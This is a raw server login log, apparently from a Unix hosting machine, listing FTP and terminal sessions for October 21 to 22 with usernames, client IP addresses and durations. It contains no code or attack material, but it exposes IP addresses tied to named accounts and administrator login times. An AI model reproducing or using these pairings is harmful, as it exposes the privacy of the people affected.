odyssey          ftp      83.136.241.18    Fri Oct 22 17:23 - 17:51  (00:27)
alexclk          ftp      217.5.60.167     Fri Oct 22 17:20 - 18:15  (00:55)
tallif           ftp      213.219.88.30    Fri Oct 22 17:14 - 17:29  (00:15)
odyssey          ftp      83.136.241.18    Fri Oct 22 17:13 - 17:23  (00:10)
pionerz          ftp      194.204.17.244   Fri Oct 22 16:59 - 19:01  (02:02)
tallif           ftp      213.219.88.30    Fri Oct 22 16:46 - 17:12  (00:26)
skynet           ftp      81.176.69.16     Fri Oct 22 16:42 - 16:43  (00:00)
spaiznuke        ftp      192.117.97.6     Fri Oct 22 16:41 - 17:07  (00:26)
pionerz          ftp      194.204.17.244   Fri Oct 22 16:35 - 16:51  (00:15)
skynet           ftp      81.176.69.16     Fri Oct 22 16:35 - 16:43  (00:07)
skynet           ftp      81.176.69.16     Fri Oct 22 16:32 - 16:33  (00:00)
tallif           ftp      194.204.29.12    Fri Oct 22 16:28 - 16:49  (00:20)
tallif           ftp      194.204.29.12    Fri Oct 22 16:26 - 16:32  (00:05)
tallif           ftp      194.204.29.12    Fri Oct 22 16:26 - 16:27  (00:01)
odyssey          ftp      83.136.241.18    Fri Oct 22 16:23 - 16:23  (00:00)
spaiznuke        ftp      192.117.97.6     Fri Oct 22 16:21 - 16:33  (00:11)
admin            ttyp0    82.131.4.167     Fri Oct 22 16:21 - 19:33  (03:11)
tallif           ftp      213.219.88.30    Fri Oct 22 16:16 - 16:30  (00:14)
skynet           ftp      213.130.10.179   Fri Oct 22 16:09 - 16:21  (00:11)
isd              ftp      194.154.84.36    Fri Oct 22 15:54 - 16:39  (00:44)
forest           ftp      82.81.105.192    Fri Oct 22 15:41 - 15:43  (00:01)
takaja           ftp      194.204.29.7     Fri Oct 22 15:40 - 15:57  (00:16)
pionerz          ftp      194.204.17.244   Fri Oct 22 15:40 - 16:13  (00:33)
bk               ftp      217.159.171.34   Fri Oct 22 15:35 - 15:40  (00:04)
bk               ftp      217.159.171.34   Fri Oct 22 15:35 - 15:38  (00:03)
grusper          ftp      82.131.16.127    Fri Oct 22 15:35 - 15:35  (00:00)
vacuum           ftp      213.184.226.160  Fri Oct 22 15:32 - 16:46  (01:14)
flooder          ftp      195.39.210.230   Fri Oct 22 15:26 - 15:26  (00:00)
flooder          ftp      195.39.210.230   Fri Oct 22 15:25 - 15:27  (00:02)
spaiznuke        ftp      192.117.97.6     Fri Oct 22 15:25 - 15:39  (00:14)
pionerz          ftp      194.204.17.244   Fri Oct 22 15:23 - 15:40  (00:16)
xzoneu           ftp      83.219.159.11    Fri Oct 22 15:21 - 15:23  (00:01)
spaiznuke        ftp      192.117.97.6     Fri Oct 22 15:17 - 15:30  (00:12)
forest           ftp      82.81.105.192    Fri Oct 22 15:12 - 15:36  (00:24)
forest           ftp      82.81.105.192    Fri Oct 22 15:08 - 15:11  (00:02)
flooder          ftp      195.39.210.230   Fri Oct 22 15:07 - 15:07  (00:00)
flooder          ftp      195.39.210.230   Fri Oct 22 15:06 - 15:12  (00:06)
bk               ftp      217.159.171.34   Fri Oct 22 15:05 - 15:05  (00:00)
nimble           ftp      213.130.7.42     Fri Oct 22 15:02 - 15:12  (00:10)
bk               ftp      217.159.171.34   Fri Oct 22 15:00 - 15:00  (00:00)
bk               ftp      217.159.171.34   Fri Oct 22 14:59 - 14:59  (00:00)
bk               ftp      217.159.171.34   Fri Oct 22 14:58 - 14:58  (00:00)
bk               ftp      217.159.171.34   Fri Oct 22 14:56 - 14:56  (00:00)
bk               ftp      217.159.171.34   Fri Oct 22 14:55 - 15:15  (00:19)
forest           ftp      82.81.105.192    Fri Oct 22 14:53 - 14:53  (00:00)
pionerz          ftp      194.204.17.244   Fri Oct 22 14:48 - 14:59  (00:10)
nimble           ftp      213.130.7.42     Fri Oct 22 14:46 - 15:09  (00:22)
bk               ftp      217.159.171.34   Fri Oct 22 14:45 - 14:45  (00:00)
iand             ftp      213.148.31.233   Fri Oct 22 14:45 - 14:45  (00:00)
bk               ftp      217.159.171.34   Fri Oct 22 14:45 - 14:45  (00:00)
bk               ftp      217.159.171.34   Fri Oct 22 14:44 - 14:55  (00:10)
trash            ftp      213.35.209.11    Fri Oct 22 14:38 - 14:54  (00:16)
bk               ftp      217.159.171.34   Fri Oct 22 14:30 - 14:30  (00:00)
bk               ftp      217.159.171.34   Fri Oct 22 14:27 - 14:27  (00:00)
iand             ftp      213.148.31.233   Fri Oct 22 14:26 - 14:44  (00:18)
bk               ftp      217.159.171.34   Fri Oct 22 14:25 - 14:25  (00:00)
bk               ftp      217.159.171.34   Fri Oct 22 14:25 - 14:25  (00:00)
bk               ftp      217.159.171.34   Fri Oct 22 14:23 - 14:23  (00:00)
spaiznuke        ftp      192.117.97.6     Fri Oct 22 14:22 - 14:41  (00:19)
alexclk          ftp      217.5.60.167     Fri Oct 22 14:21 - 14:23  (00:02)
bk               ftp      217.159.171.34   Fri Oct 22 14:20 - 14:20  (00:00)
bk               ftp      217.159.171.34   Fri Oct 22 14:15 - 14:15  (00:00)
bk               ftp      217.159.171.34   Fri Oct 22 14:14 - 14:14  (00:00)
story            ftp      80.235.127.254   Fri Oct 22 14:12 - 14:24  (00:12)
bk               ftp      217.159.171.34   Fri Oct 22 14:11 - 14:11  (00:00)
bk               ftp      217.159.171.34   Fri Oct 22 14:11 - 14:11  (00:00)
bk               ftp      217.159.171.34   Fri Oct 22 14:08 - 14:08  (00:00)
bk               ftp      217.159.171.34   Fri Oct 22 14:08 - 14:40  (00:31)
bk               ftp      217.159.171.34   Fri Oct 22 14:08 - 14:08  (00:00)
akorbal          ftp      62.76.4.137      Fri Oct 22 14:08 - 14:21  (00:12)
nimble           ftp      213.130.7.42     Fri Oct 22 13:59 - 14:06  (00:07)
deset            ftp      62.183.3.97      Fri Oct 22 13:56 - 13:59  (00:03)
forest           ftp      82.81.105.192    Fri Oct 22 13:55 - 13:55  (00:00)
sghi             ftp      217.174.98.26    Fri Oct 22 13:54 - 13:58  (00:03)
bk               ftp      217.159.171.34   Fri Oct 22 13:50 - 14:00  (00:10)
xboxland         ftp      217.10.45.28     Fri Oct 22 13:49 - 13:55  (00:05)
pionerz          ftp      194.204.17.244   Fri Oct 22 13:47 - 14:32  (00:45)
oeforum          ftp      212.7.28.220     Fri Oct 22 13:44 - 13:53  (00:09)
skynet_logs      ftp      213.130.10.11    Fri Oct 22 13:42 - 13:42  (00:00)
nimble           ftp      213.130.7.42     Fri Oct 22 13:42 - 13:56  (00:14)
deset            ftp      62.183.3.97      Fri Oct 22 13:41 - 13:59  (00:17)
deset            ftp      62.183.3.97      Fri Oct 22 13:41 - 13:51  (00:10)
deset            ftp      62.183.3.97      Fri Oct 22 13:40 - 13:51  (00:10)
deset            ftp      62.183.3.97      Fri Oct 22 13:40 - 13:50  (00:10)
nimble           ftp      213.130.7.42     Fri Oct 22 13:39 - 13:41  (00:01)
iand             ftp      213.148.31.233   Fri Oct 22 13:35 - 13:55  (00:19)
bk               ftp      217.159.171.34   Fri Oct 22 13:34 - 13:45  (00:10)
oeforum          ftp      212.7.28.220     Fri Oct 22 13:33 - 13:43  (00:10)
oeforum          ftp      212.7.28.220     Fri Oct 22 13:33 - 13:33  (00:00)
forest           ftp      82.81.105.192    Fri Oct 22 13:32 - 13:32  (00:00)
nimble           ftp      213.130.7.42     Fri Oct 22 13:28 - 13:41  (00:12)
nimble           ftp      213.130.7.42     Fri Oct 22 13:27 - 13:39  (00:12)
forest           ftp      82.81.105.192    Fri Oct 22 13:26 - 13:32  (00:06)
akorbal          ftp      62.76.4.137      Fri Oct 22 13:22 - 13:35  (00:12)
pionerz          ftp      194.204.17.244   Fri Oct 22 13:18 - 13:44  (00:25)
story            ftp      80.235.127.254   Fri Oct 22 12:57 - 13:08  (00:10)
forest           ftp      82.81.105.192    Fri Oct 22 12:54 - 12:55  (00:01)
forest           ftp      82.81.105.192    Fri Oct 22 12:52 - 12:53  (00:00)
upsaitb          ftp      62.148.157.192   Fri Oct 22 12:33 - 12:39  (00:06)
gdpbalt          ftp      62.65.252.61     Fri Oct 22 12:28 - 12:30  (00:02)
gdp              ftp      62.65.252.61     Fri Oct 22 12:27 - 12:27  (00:00)
iand             ftp      213.148.31.233   Fri Oct 22 12:22 - 13:30  (01:08)
story            ftp      80.235.127.254   Fri Oct 22 12:11 - 12:13  (00:02)
median           ftp      83.237.28.137    Fri Oct 22 12:08 - 12:10  (00:02)
onlines          ftp      194.204.48.133   Fri Oct 22 12:03 - 12:18  (00:15)
refogb           ftp      195.239.140.241  Fri Oct 22 12:02 - 12:49  (00:46)
iand             ftp      213.148.31.233   Fri Oct 22 11:51 - 12:12  (00:20)
refogb           ftp      195.239.140.241  Fri Oct 22 11:36 - 11:46  (00:10)
iand             ftp      213.148.31.233   Fri Oct 22 11:22 - 11:47  (00:24)
zlg              ftp      194.186.32.2     Fri Oct 22 11:15 - 11:26  (00:10)
iand             ftp      213.148.31.233   Fri Oct 22 11:07 - 11:19  (00:11)
tulksco          ftp      217.199.109.35   Fri Oct 22 10:47 - 10:48  (00:00)
tulksco          ftp      217.199.109.35   Fri Oct 22 10:47 - 10:48  (00:00)
tulksco          ftp      217.199.109.35   Fri Oct 22 10:46 - 10:47  (00:01)
tulksco          ftp      217.199.109.35   Fri Oct 22 10:41 - 10:41  (00:00)
tulksco          ftp      217.199.109.35   Fri Oct 22 10:41 - 10:41  (00:00)
iand             ftp      213.148.31.233   Fri Oct 22 10:40 - 10:52  (00:11)
gdp              ttyp4    mahaon.ints.net  Fri Oct 22 10:30 - 20:51  (10:21)
xzoneu           ftp      83.219.159.11    Fri Oct 22 10:11 - 10:22  (00:11)
admin            ttyp0    82.131.4.167     Fri Oct 22 10:05 - 14:35  (04:30)
tulksco          ftp      217.199.109.35   Fri Oct 22 09:50 - 09:50  (00:00)
tulksco          ftp      217.199.109.35   Fri Oct 22 09:49 - 09:50  (00:00)
tulksco          ftp      217.199.109.35   Fri Oct 22 09:40 - 09:41  (00:00)
tulksco          ftp      217.199.109.35   Fri Oct 22 09:40 - 09:40  (00:00)
mussoft@sslproj  ftp      217.107.21.105   Fri Oct 22 09:24 - 09:24  (00:00)
tulksco          ftp      217.199.109.35   Fri Oct 22 09:23 - 09:24  (00:00)
tulksco          ftp      217.199.109.35   Fri Oct 22 09:23 - 09:24  (00:00)
mussoft@sslproj  ftp      217.107.21.105   Fri Oct 22 09:19 - 09:26  (00:07)
mussoft@sslproj  ftp      217.107.21.105   Fri Oct 22 09:16 - 09:19  (00:02)
anonymous@sslpr  ftp      217.107.21.105   Fri Oct 22 09:16 - 09:16  (00:00)
anonymous@sslpr  ftp      217.107.21.105   Fri Oct 22 09:15 - 09:15  (00:00)
mussoft@sslproj  ftp      217.107.21.105   Fri Oct 22 09:15 - 09:15  (00:00)
tulksco          ftp      217.199.109.35   Fri Oct 22 09:00 - 09:00  (00:00)
tulksco          ftp      217.199.109.35   Fri Oct 22 09:00 - 09:00  (00:00)
tulksco          ftp      217.199.109.35   Fri Oct 22 09:00 - 09:00  (00:00)
tulksco          ftp      217.199.109.35   Fri Oct 22 08:59 - 08:59  (00:00)
tulksco          ftp      217.199.109.35   Fri Oct 22 08:59 - 09:00  (00:00)
tulksco          ftp      217.199.109.35   Fri Oct 22 08:56 - 08:56  (00:00)
tulksco          ftp      217.199.109.35   Fri Oct 22 08:55 - 08:56  (00:00)
bk               ftp      217.159.171.34   Fri Oct 22 08:40 - 08:40  (00:00)
bk               ftp      217.159.171.34   Fri Oct 22 08:39 - 08:39  (00:00)
bk               ftp      217.159.171.34   Fri Oct 22 08:39 - 08:39  (00:00)
bk               ftp      217.159.171.34   Fri Oct 22 08:39 - 08:50  (00:10)
xboxland         ftp      217.10.45.28     Fri Oct 22 08:33 - 09:48  (01:15)
secureb          ftp      62.118.150.174   Fri Oct 22 07:08 - 07:22  (00:14)
secureb          ftp      62.118.144.137   Fri Oct 22 06:56 - 07:06  (00:10)
secureb          ftp      62.118.146.54    Fri Oct 22 06:49 - 07:01  (00:12)
secureb          ftp      62.118.142.18    Fri Oct 22 06:36 - 06:49  (00:13)
tulksco          ftp      217.199.109.35   Fri Oct 22 06:32 - 06:32  (00:00)
secureb          ftp      62.118.152.113   Fri Oct 22 06:22 - 06:40  (00:18)
secureb          ftp      62.118.152.113   Fri Oct 22 06:19 - 06:21  (00:01)
tulksco          ftp      217.199.109.35   Fri Oct 22 06:17 - 06:27  (00:09)
tulksco          ftp      217.199.109.35   Fri Oct 22 06:17 - 06:17  (00:00)
tulksco          ftp      217.199.109.35   Fri Oct 22 06:13 - 06:13  (00:00)
tulksco          ftp      217.199.109.35   Fri Oct 22 06:09 - 06:12  (00:02)
tulksco          ftp      217.199.109.35   Fri Oct 22 06:09 - 06:09  (00:00)
tulksco          ftp      217.199.109.35   Fri Oct 22 06:08 - 06:13  (00:04)
wincomua         ftp      213.186.192.245  Fri Oct 22 06:01 - 06:10  (00:08)
wincomua         ftp      213.186.192.245  Fri Oct 22 06:01 - 06:01  (00:00)
tulksco          ftp      217.199.109.35   Fri Oct 22 05:59 - 06:01  (00:02)
tulksco          ftp      217.199.109.35   Fri Oct 22 05:58 - 05:59  (00:00)
ravolink         ftp      82.131.4.167     Fri Oct 22 05:55 - 05:59  (00:03)
tulksco          ftp      217.199.109.35   Fri Oct 22 05:53 - 05:58  (00:04)
tulksco          ftp      217.199.109.35   Fri Oct 22 05:53 - 05:53  (00:00)
wincomua         ftp      213.186.192.245  Fri Oct 22 05:49 - 06:00  (00:10)
anonymous@sslpr  ftp      83.237.41.19     Fri Oct 22 05:45 - 05:47  (00:01)
ravolink         ftp      82.131.4.167     Fri Oct 22 05:45 - 05:57  (00:11)
ravolink         ftp      82.131.4.167     Fri Oct 22 05:22 - 05:55  (00:32)
wincomua         ftp      213.186.192.245  Fri Oct 22 05:19 - 05:29  (00:10)
wincomua         ftp      213.186.192.245  Fri Oct 22 05:19 - 05:19  (00:00)
wincomua         ftp      213.186.192.245  Fri Oct 22 05:19 - 05:19  (00:00)
ravolink         ftp      82.131.4.167     Fri Oct 22 05:17 - 05:37  (00:19)
wincomua         ftp      213.186.192.245  Fri Oct 22 05:13 - 05:13  (00:00)
wincomua         ftp      213.186.192.245  Fri Oct 22 05:12 - 05:12  (00:00)
wincomua         ftp      213.186.192.245  Fri Oct 22 05:12 - 05:12  (00:00)
wincomua         ftp      213.186.192.245  Fri Oct 22 05:12 - 05:12  (00:00)
wincomua         ftp      213.186.192.245  Fri Oct 22 05:12 - 05:12  (00:00)
wincomua         ftp      213.186.192.245  Fri Oct 22 05:12 - 05:12  (00:00)
wincomua         ftp      213.186.192.245  Fri Oct 22 05:12 - 05:12  (00:00)
wincomua         ftp      213.186.192.245  Fri Oct 22 05:10 - 05:10  (00:00)
wincomua         ftp      213.186.192.245  Fri Oct 22 05:10 - 05:10  (00:00)
wincomua         ftp      213.186.192.245  Fri Oct 22 05:10 - 05:10  (00:00)
wincomua         ftp      213.186.192.245  Fri Oct 22 05:10 - 05:10  (00:00)
wincomua         ftp      213.186.192.245  Fri Oct 22 05:10 - 05:10  (00:00)
wincomua         ftp      213.186.192.245  Fri Oct 22 05:10 - 05:10  (00:00)
wincomua         ftp      213.186.192.245  Fri Oct 22 05:09 - 05:09  (00:00)
wincomua         ftp      213.186.192.245  Fri Oct 22 05:09 - 05:09  (00:00)
wincomua         ftp      213.186.192.245  Fri Oct 22 05:09 - 05:09  (00:00)
ravolink         ftp      82.131.4.167     Fri Oct 22 05:08 - 05:14  (00:05)
wincomua         ftp      213.186.192.245  Fri Oct 22 05:08 - 05:18  (00:10)
wincomua         ftp      213.186.192.245  Fri Oct 22 05:08 - 05:09  (00:01)
wincomua         ftp      213.186.192.245  Fri Oct 22 05:08 - 05:08  (00:00)
ravolink         ftp      82.131.4.167     Fri Oct 22 05:06 - 05:14  (00:07)
wincomua         ftp      213.186.192.245  Fri Oct 22 05:06 - 05:16  (00:10)
wincomua         ftp      213.186.192.245  Fri Oct 22 05:04 - 05:15  (00:10)
wincomua         ftp      213.186.192.245  Fri Oct 22 05:03 - 05:14  (00:10)
wincomua         ftp      213.186.192.245  Fri Oct 22 05:03 - 05:08  (00:04)
wincomua         ftp      213.186.192.245  Fri Oct 22 05:02 - 05:03  (00:01)
wincomua         ftp      213.186.192.245  Fri Oct 22 05:01 - 05:03  (00:01)
ravolink         ftp      82.131.4.167     Fri Oct 22 03:36 - 04:07  (00:31)
zport            ftp      81.3.170.245     Fri Oct 22 03:20 - 05:13  (01:53)
anonymous@sslpr  ftp      83.237.41.19     Fri Oct 22 03:12 - 03:28  (00:15)
ravolink         ftp      82.131.4.167     Fri Oct 22 03:06 - 03:17  (00:10)
zlg              ftp      194.186.96.140   Fri Oct 22 02:57 - 03:07  (00:10)
anonymous@sslpr  ftp      83.237.41.19     Fri Oct 22 02:53 - 03:10  (00:17)
anonymous@sslpr  ftp      83.237.41.19     Fri Oct 22 02:53 - 02:53  (00:00)
anonymous@sslpr  ftp      83.237.41.19     Fri Oct 22 02:52 - 02:53  (00:00)
anonymous@sslpr  ftp      83.237.41.19     Fri Oct 22 02:52 - 02:52  (00:00)
zport            ftp      81.3.170.245     Fri Oct 22 02:49 - 03:23  (00:34)
anonymous@sslpr  ftp      83.237.41.19     Fri Oct 22 02:49 - 02:50  (00:01)
ravolink         ftp      82.131.4.167     Fri Oct 22 01:40 - 01:53  (00:13)
ravolink         ftp      82.131.4.167     Fri Oct 22 01:19 - 01:36  (00:16)
lefthand         ttyp4    212.58.204.186   Fri Oct 22 01:07 - 01:07  (00:00)
tdz              ftp      195.158.180.129  Fri Oct 22 00:51 - 00:56  (00:05)
trash            ftp      82.131.4.167     Fri Oct 22 00:50 - 01:07  (00:16)
takaja           ftp      194.204.29.7     Fri Oct 22 00:50 - 02:08  (01:17)
zport            ftp      81.3.170.245     Fri Oct 22 00:49 - 01:15  (00:26)
zport            ftp      81.3.170.245     Fri Oct 22 00:47 - 00:50  (00:03)
zport            ftp      81.3.170.245     Fri Oct 22 00:30 - 00:53  (00:22)
tdz              ftp      194.84.143.232   Fri Oct 22 00:19 - 01:29  (01:09)
forest           ftp      82.80.159.24     Fri Oct 22 00:19 - 00:20  (00:00)
forest           ftp      82.80.159.24     Fri Oct 22 00:17 - 00:17  (00:00)
forest           ftp      82.80.159.24     Fri Oct 22 00:16 - 00:17  (00:01)
tallif           ftp      213.219.88.30    Fri Oct 22 00:13 - 00:26  (00:12)
flooder          ftp      195.39.210.230   Thu Oct 21 23:53 - 23:53  (00:00)
flooder          ftp      195.39.210.230   Thu Oct 21 23:53 - 23:53  (00:00)
flooder          ftp      195.39.210.230   Thu Oct 21 23:52 - 00:06  (00:14)
mwsdata          ftp      24.184.228.166   Thu Oct 21 23:43 - 23:43  (00:00)
forest           ftp      82.80.159.24     Thu Oct 21 23:37 - 23:56  (00:18)
novo             ftp      217.172.21.35    Thu Oct 21 23:26 - 23:26  (00:00)
alexclk          ftp      217.5.60.122     Thu Oct 21 23:25 - 23:25  (00:00)
forumlif         ftp      194.106.127.118  Thu Oct 21 23:24 - 23:25  (00:01)
forumlif         ftp      194.106.127.118  Thu Oct 21 23:18 - 23:19  (00:00)
warez@trillian.  ftp      195.131.125.243  Thu Oct 21 23:17 - 23:26  (00:08)
admin            ttyp0    82.131.4.167     Thu Oct 21 23:11 - 01:12  (02:01)
tdz              ftp      62.33.55.227     Thu Oct 21 23:09 - 23:12  (00:03)
forumlif         ftp      194.106.127.118  Thu Oct 21 23:08 - 23:11  (00:03)
tdz              ftp      62.33.55.227     Thu Oct 21 23:07 - 23:08  (00:01)
gym11            ftp      213.85.109.2     Thu Oct 21 23:02 - 23:02  (00:00)
forest           ftp      82.80.159.24     Thu Oct 21 23:02 - 23:02  (00:00)
gym11            ftp      213.85.109.2     Thu Oct 21 23:01 - 23:07  (00:05)
gym11            ftp      213.85.109.2     Thu Oct 21 22:59 - 23:06  (00:06)
forumlif         ftp      194.106.127.118  Thu Oct 21 22:55 - 22:57  (00:01)
alexclk          ftp      217.5.60.122     Thu Oct 21 22:52 - 23:16  (00:23)
story            ftp      80.235.127.254   Thu Oct 21 22:33 - 22:48  (00:15)
novo_logs        ftp      217.172.21.35    Thu Oct 21 22:27 - 22:28  (00:01)
stive            ftp      212.58.195.95    Thu Oct 21 22:08 - 22:48  (00:40)
median           ftp      81.195.5.230     Thu Oct 21 22:08 - 22:09  (00:01)
money            ftp      82.135.152.34    Thu Oct 21 22:04 - 22:16  (00:12)
design           ftp      213.35.209.11    Thu Oct 21 22:02 - 22:07  (00:05)
trash            ftp      213.35.209.11    Thu Oct 21 22:02 - 22:02  (00:00)
baltbal          ftp      82.147.171.109   Thu Oct 21 21:53 - 21:58  (00:05)
runetb           ftp      213.35.216.238   Thu Oct 21 21:50 - 22:00  (00:10)
story            ftp      80.235.127.254   Thu Oct 21 21:43 - 21:55  (00:12)
estfootball      ftp      82.147.163.30    Thu Oct 21 21:39 - 21:51  (00:11)
baltbal          ftp      82.147.171.109   Thu Oct 21 21:35 - 21:45  (00:09)
story            ftp      80.235.127.254   Thu Oct 21 21:32 - 21:33  (00:00)
baltbal          ftp      82.147.171.109   Thu Oct 21 21:26 - 21:35  (00:08)
isd              ftp      194.154.84.36    Thu Oct 21 21:23 - 21:23  (00:00)
isd              ftp      194.154.84.36    Thu Oct 21 21:21 - 21:25  (00:04)
runetb           ftp      213.35.216.238   Thu Oct 21 21:21 - 21:38  (00:16)
forumlif         ftp      194.106.127.118  Thu Oct 21 21:20 - 21:24  (00:03)
baltbal          ftp      82.147.171.109   Thu Oct 21 21:15 - 21:25  (00:09)
baltbal          ftp      82.147.171.109   Thu Oct 21 21:07 - 21:15  (00:07)
albalt           ftp      217.159.170.70   Thu Oct 21 21:01 - 21:56  (00:54)
baltbal          ftp      82.147.171.109   Thu Oct 21 21:00 - 21:00  (00:00)
baltbal          ftp      82.147.171.109   Thu Oct 21 21:00 - 21:00  (00:00)
baltbal          ftp      82.147.171.109   Thu Oct 21 20:59 - 21:00  (00:01)
baltbal          ftp      82.147.171.109   Thu Oct 21 20:59 - 20:59  (00:00)
baltbal          ftp      82.147.171.109   Thu Oct 21 20:55 - 21:05  (00:10)
baltbal          ftp      82.147.171.109   Thu Oct 21 20:55 - 20:55  (00:00)
baltbal          ftp      82.147.171.109   Thu Oct 21 20:55 - 21:05  (00:10)
baltbal          ftp      82.147.171.109   Thu Oct 21 20:55 - 21:05  (00:10)
[email protected]  ftp      82.207.20.192    Thu Oct 21 20:52 - 21:09  (00:17)
baltbal          ftp      82.147.171.109   Thu Oct 21 20:42 - 20:43  (00:00)
baltbal          ftp      82.147.171.109   Thu Oct 21 20:42 - 20:42  (00:00)
baltbal          ftp      82.131.4.167     Thu Oct 21 20:39 - 20:46  (00:06)
softam           ftp      213.152.147.54   Thu Oct 21 20:38 - 20:44  (00:05)
teraarh          ftp      62.213.86.134    Thu Oct 21 20:37 - 20:47  (00:10)
stive            ftp      212.58.195.154   Thu Oct 21 20:21 - 20:32  (00:10)
stive            ftp      212.58.195.154   Thu Oct 21 20:21 - 20:21  (00:00)
tulksco          ftp      217.199.109.35   Thu Oct 21 20:18 - 20:18  (00:00)
tulksco          ftp      217.199.109.35   Thu Oct 21 20:17 - 20:17  (00:00)
tulksco          ftp      217.199.109.35   Thu Oct 21 20:17 - 20:18  (00:00)
tulksco          ftp      217.199.109.35   Thu Oct 21 20:12 - 20:13  (00:01)
tulksco          ftp      217.199.109.35   Thu Oct 21 20:04 - 20:10  (00:06)
trash            ftp      213.35.209.11    Thu Oct 21 19:52 - 20:23  (00:30)
[email protected]  ftp      141.44.167.25    Thu Oct 21 19:47 - 19:47  (00:00)
nimble           ftp      213.130.7.45     Thu Oct 21 19:39 - 19:40  (00:00)
nimble           ftp      213.130.7.45     Thu Oct 21 19:37 - 19:43  (00:06)
isd              ftp      194.154.84.36    Thu Oct 21 19:33 - 19:34  (00:00)
isd              ftp      194.154.84.36    Thu Oct 21 19:31 - 20:25  (00:54)
isd              ftp      194.154.84.36    Thu Oct 21 19:29 - 19:39  (00:09)
albalt           ftp      217.159.170.70   Thu Oct 21 19:27 - 19:37  (00:10)
albalt           ftp      217.159.170.70   Thu Oct 21 19:25 - 20:01  (00:36)
nimble           ftp      213.130.7.45     Thu Oct 21 19:20 - 19:23  (00:02)
zotkin2@zotkin.  ftp      212.45.6.50      Thu Oct 21 19:15 - 19:30  (00:14)
trash            ftp      213.35.209.11    Thu Oct 21 19:15 - 19:15  (00:00)
wh               ftp      212.15.118.236   Thu Oct 21 19:13 - 19:18  (00:04)
pionerz          ftp      194.204.17.244   Thu Oct 21 19:12 - 19:22  (00:10)
stive            ftp      212.58.195.165   Thu Oct 21 19:10 - 19:20  (00:10)
stive            ftp      212.58.195.165   Thu Oct 21 19:10 - 19:10  (00:00)
stive            ftp      212.58.195.165   Thu Oct 21 19:06 - 19:16  (00:10)
stive            ftp      212.58.195.165   Thu Oct 21 19:06 - 19:06  (00:00)
forest           ftp      82.80.159.24     Thu Oct 21 19:06 - 19:06  (00:00)
stive            ftp      212.58.195.165   Thu Oct 21 19:05 - 19:16  (00:10)
stive            ftp      212.58.195.165   Thu Oct 21 19:05 - 19:05  (00:00)
stive            ftp      212.58.195.165   Thu Oct 21 19:00 - 19:15  (00:14)
odyssey          ftp      83.136.241.18    Thu Oct 21 18:57 - 18:58  (00:00)
skynet           ftp      213.130.23.237   Thu Oct 21 18:44 - 18:48  (00:03)
odyssey          ftp      83.136.241.18    Thu Oct 21 18:27 - 18:52  (00:25)
auto             ftp      193.40.12.204    Thu Oct 21 18:26 - 18:27  (00:00)
tulksco          ftp      217.199.109.35   Thu Oct 21 18:08 - 18:09  (00:00)
tulksco          ftp      217.199.109.35   Thu Oct 21 18:08 - 18:09  (00:01)
tulksco          ftp      217.199.109.35   Thu Oct 21 17:52 - 17:59  (00:06)
grusper          ftp      82.131.16.127    Thu Oct 21 17:47 - 17:48  (00:01)
stive            ftp      212.58.195.165   Thu Oct 21 17:46 - 17:47  (00:00)
tulksco          ftp      217.199.109.35   Thu Oct 21 17:46 - 17:46  (00:00)
tulksco          ftp      217.199.109.35   Thu Oct 21 17:46 - 17:48  (00:02)
median           ftp      81.195.5.14      Thu Oct 21 17:33 - 17:33  (00:00)
stive            ftp      212.58.195.165   Thu Oct 21 17:31 - 17:32  (00:00)
odyssey          ftp      83.136.241.18    Thu Oct 21 17:30 - 17:44  (00:14)
stive            ftp      212.58.195.165   Thu Oct 21 17:20 - 17:31  (00:10)
zlg              ftp      194.186.96.233   Thu Oct 21 17:20 - 17:20  (00:00)
grusper          ftp      82.131.16.127    Thu Oct 21 17:17 - 17:38  (00:20)
stive            ftp      212.58.195.165   Thu Oct 21 17:16 - 17:20  (00:04)
bk               ftp      217.159.171.34   Thu Oct 21 17:12 - 17:12  (00:00)
bk               ftp      217.159.171.34   Thu Oct 21 17:11 - 17:11  (00:00)
admin            ttyp0    82.131.4.167     Thu Oct 21 17:10 - 22:14  (05:03)
stive            ftp      212.58.195.165   Thu Oct 21 17:09 - 17:16  (00:07)
bk               ftp      217.159.171.34   Thu Oct 21 17:07 - 17:07  (00:00)
bk               ftp      217.159.171.34   Thu Oct 21 17:06 - 17:22  (00:16)
stive            ftp      212.58.195.165   Thu Oct 21 16:48 - 17:08  (00:20)
stive            ftp      212.58.195.165   Thu Oct 21 16:48 - 17:09  (00:21)
stive            ftp      212.58.195.165   Thu Oct 21 16:44 - 16:48  (00:03)
stive            ftp      212.58.195.165   Thu Oct 21 16:44 - 16:46  (00:02)
stive            ftp      212.58.195.165   Thu Oct 21 16:42 - 16:46  (00:03)
median           ftp      83.237.28.249    Thu Oct 21 16:36 - 16:44  (00:08)
odyssey          ftp      83.136.241.18    Thu Oct 21 16:35 - 17:28  (00:52)
xboxland         ftp      217.10.45.28     Thu Oct 21 16:34 - 16:35  (00:01)
prohack          ftp      62.76.229.84     Thu Oct 21 16:25 - 16:35  (00:10)
tulksco          ftp      217.199.109.35   Thu Oct 21 16:25 - 16:31  (00:06)
prohack          ftp      62.76.229.84     Thu Oct 21 16:24 - 16:34  (00:10)
progzn           ftp      81.176.95.82     Thu Oct 21 16:22 - 16:33  (00:10)
odyssey          ftp      83.136.241.18    Thu Oct 21 16:17 - 16:28  (00:10)
progzn           ftp      81.176.95.82     Thu Oct 21 16:17 - 16:28  (00:10)
median           ftp      83.237.28.249    Thu Oct 21 16:16 - 16:35  (00:19)
story            ftp      80.235.127.254   Thu Oct 21 16:14 - 16:25  (00:11)
russ             ftp      213.242.243.168  Thu Oct 21 16:13 - 16:15  (00:01)
xboxland         ftp      217.10.45.28     Thu Oct 21 16:11 - 16:28  (00:17)
skynet           ftp      213.130.21.240   Thu Oct 21 16:11 - 16:11  (00:00)
story            ftp      80.235.127.254   Thu Oct 21 16:07 - 16:08  (00:00)
tulksco          ftp      217.199.109.35   Thu Oct 21 16:06 - 16:06  (00:00)
tulksco          ftp      217.199.109.35   Thu Oct 21 16:06 - 16:06  (00:00)
odyssey          ftp      83.136.241.18    Thu Oct 21 16:05 - 16:13  (00:08)
isd              ftp      81.211.32.70     Thu Oct 21 15:52 - 16:33  (00:40)
prohack          ftp      62.76.229.84     Thu Oct 21 15:37 - 15:48  (00:11)
prohack          ftp      62.76.229.84     Thu Oct 21 15:33 - 15:37  (00:04)
odyssey          ftp      83.136.241.18    Thu Oct 21 15:28 - 15:45  (00:17)
odyssey          ftp      83.136.241.18    Thu Oct 21 15:28 - 15:28  (00:00)
tulksco          ftp      217.199.109.35   Thu Oct 21 15:22 - 15:22  (00:00)
tulksco          ftp      217.199.109.35   Thu Oct 21 15:21 - 15:22  (00:00)
